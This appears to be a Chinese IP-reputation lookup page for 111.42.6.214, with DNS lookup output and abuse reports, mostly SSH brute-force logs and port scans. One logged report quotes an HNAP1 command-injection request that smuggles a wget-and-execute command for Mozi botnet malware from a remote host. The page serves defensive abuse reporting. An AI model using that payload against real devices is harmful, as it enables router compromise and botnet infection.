111.42.6.214 - IPInfo

基本信息:

城市(city): Suihua

省份(region): Heilongjiang

国家(country): China

运营商(isp): China Mobile

主机名(hostname): unknown

机构(organization): unknown

使用类型(Usage Type): unknown

用户上报:

点此参与IP信息讨论

暂无关于此IP的讨论, 沙发请点上方按钮

相同子网IP讨论:

IP	类型	评论内容	时间
111.42.66.27	attack	Unauthorized connection attempt detected from IP address 111.42.66.27 to port 8080	2020-05-31 03:43:33
111.42.66.150	attackbotsspam	Honeypot attack, port: 5555, PTR: PTR record not found	2020-05-21 03:30:06
111.42.66.48	attackbots	Unauthorized connection attempt detected from IP address 111.42.66.48 to port 8080 [T]	2020-05-09 18:54:19
111.42.66.143	attackbots	WEB Remote Command Execution via Shell Script -1.a	2020-05-09 07:20:47
111.42.66.43	attackbots	Automatic report - Port Scan Attack	2020-05-08 07:03:12
111.42.66.48	attackspam	Unauthorised access (May 6) SRC=111.42.66.48 LEN=60 TOS=0x04 TTL=52 ID=27433 DF TCP DPT=8080 WINDOW=5840 SYN	2020-05-07 01:18:13
111.42.67.31	attackspam	Unauthorized connection attempt detected from IP address 111.42.67.31 to port 2323 [T]	2020-04-14 23:25:30
111.42.66.162	attack	Honeypot attack, port: 81, PTR: PTR record not found	2020-04-12 21:54:06
111.42.67.77	attackspam	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://111.42.67.77:38257/Mozi.m && chmod 777 /tmp/Mozi.m && /tmp/Mozi.m` Content-Length: 640 2020-04-06 12:23:14
111.42.67.49	attackbotsspam	Fail2Ban Ban Triggered	2020-03-28 16:26:23
111.42.67.72	attackbotsspam	suspicious action Thu, 27 Feb 2020 11:22:32 -0300	2020-02-28 03:23:14
111.42.66.151	attackspam	111.42.66.151 - - \[21/Feb/2020:05:56:51 +0100\] "POST /HNAP1/ HTTP/1.0" 301 551 "-" "-"	2020-02-21 14:49:02
111.42.66.45	attackspambots	unauthorized connection attempt	2020-02-16 19:18:24
111.42.66.31	attackspambots	Automatic report - Port Scan Attack	2020-01-30 21:38:03
111.42.66.36	attackspambots	Unauthorized connection attempt detected from IP address 111.42.66.36 to port 23 [J]	2020-01-29 03:41:57

WHOIS信息:

DIG信息:

; <<>> DiG 9.10.3-P4-Ubuntu <<>> 111.42.6.214
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 12510
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;111.42.6.214.			IN	A

;; AUTHORITY SECTION:
.			190	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2022040201 1800 900 604800 86400

;; Query time: 20 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Sun Apr 03 08:34:26 CST 2022
;; MSG SIZE  rcvd: 105

HOST信息:

b'Host 214.6.42.111.in-addr.arpa not found: 2(SERVFAIL)
'

NSLOOKUP信息:

;; Got SERVFAIL reply from 183.60.83.19, trying next server
Server:		183.60.82.98
Address:	183.60.82.98#53

** server can't find 214.6.42.111.in-addr.arpa: SERVFAIL

最新评论:

IP	类型	评论内容	时间
123.206.174.21	attack	Aug 19 19:59:24 MK-Soft-VM5 sshd\[19629\]: Invalid user admin3 from 123.206.174.21 port 32090 Aug 19 19:59:24 MK-Soft-VM5 sshd\[19629\]: pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=123.206.174.21 Aug 19 19:59:26 MK-Soft-VM5 sshd\[19629\]: Failed password for invalid user admin3 from 123.206.174.21 port 32090 ssh2 ...	2019-08-20 05:32:38
184.185.2.66	attackspambots	failed_logins	2019-08-20 05:09:43
61.161.236.202	attackspambots	Aug 19 22:58:47 vps647732 sshd[16799]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=61.161.236.202 Aug 19 22:58:49 vps647732 sshd[16799]: Failed password for invalid user temp from 61.161.236.202 port 49550 ssh2 ...	2019-08-20 05:13:04
51.91.251.20	attackbotsspam	Aug 19 20:55:48 [munged] sshd[17035]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=51.91.251.20	2019-08-20 05:52:00
142.93.141.59	attack	Aug 19 22:29:13 vps691689 sshd[1453]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=142.93.141.59 Aug 19 22:29:16 vps691689 sshd[1453]: Failed password for invalid user update from 142.93.141.59 port 43904 ssh2 ...	2019-08-20 05:13:41
54.38.241.171	attack	2019-08-19T21:01:59.978026abusebot.cloudsearch.cf sshd\[26429\]: Invalid user 123456 from 54.38.241.171 port 39704	2019-08-20 05:33:06
185.97.113.132	attack	$f2bV_matches	2019-08-20 05:40:17
106.13.52.247	attackbots	Aug 19 20:55:53 herz-der-gamer sshd[2868]: Invalid user cyrus from 106.13.52.247 port 46328 ...	2019-08-20 05:47:56
157.230.163.6	attack	Aug 19 19:59:49 MK-Soft-VM5 sshd\[19663\]: Invalid user valda from 157.230.163.6 port 32990 Aug 19 19:59:49 MK-Soft-VM5 sshd\[19663\]: pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=157.230.163.6 Aug 19 19:59:51 MK-Soft-VM5 sshd\[19663\]: Failed password for invalid user valda from 157.230.163.6 port 32990 ssh2 ...	2019-08-20 05:48:13
49.88.112.78	attackbotsspam	Aug 19 23:39:07 eventyay sshd[5398]: Failed password for root from 49.88.112.78 port 46690 ssh2 Aug 19 23:39:16 eventyay sshd[5400]: Failed password for root from 49.88.112.78 port 47369 ssh2 ...	2019-08-20 05:41:04
144.135.85.184	attack	Aug 19 17:39:27 TORMINT sshd\[32043\]: Invalid user test from 144.135.85.184 Aug 19 17:39:27 TORMINT sshd\[32043\]: pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=144.135.85.184 Aug 19 17:39:28 TORMINT sshd\[32043\]: Failed password for invalid user test from 144.135.85.184 port 46714 ssh2 ...	2019-08-20 05:53:57
43.248.20.129	attack	Attempts to probe for or exploit a Drupal site on url: /wp-login.php. Reported by the module https://www.drupal.org/project/abuseipdb.	2019-08-20 05:54:20
49.234.31.150	attack	Aug 19 23:42:48 motanud sshd\[8127\]: Invalid user cw from 49.234.31.150 port 41442 Aug 19 23:42:48 motanud sshd\[8127\]: pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=49.234.31.150 Aug 19 23:42:50 motanud sshd\[8127\]: Failed password for invalid user cw from 49.234.31.150 port 41442 ssh2	2019-08-20 05:52:15
68.183.155.33	attack	Aug 19 10:26:14 php1 sshd\[23090\]: Invalid user virusalert from 68.183.155.33 Aug 19 10:26:14 php1 sshd\[23090\]: pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=68.183.155.33 Aug 19 10:26:16 php1 sshd\[23090\]: Failed password for invalid user virusalert from 68.183.155.33 port 55896 ssh2 Aug 19 10:30:17 php1 sshd\[23485\]: Invalid user limburg from 68.183.155.33 Aug 19 10:30:17 php1 sshd\[23485\]: pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=68.183.155.33	2019-08-20 05:11:24
80.220.94.102	attackspam	CMS probe	2019-08-20 05:35:24

最近上报的IP列表

111.42.253.104	111.42.89.23	111.43.123.152	111.43.123.2
20.249.185.59	111.43.19.11	111.77.217.86	111.77.22.12
111.77.22.251	111.77.96.192	111.77.96.202	111.77.96.237
47.246.58.113	111.77.97.219	111.79.192.148	111.79.193.115
111.79.208.239	111.79.211.147	111.79.212.117	111.79.212.137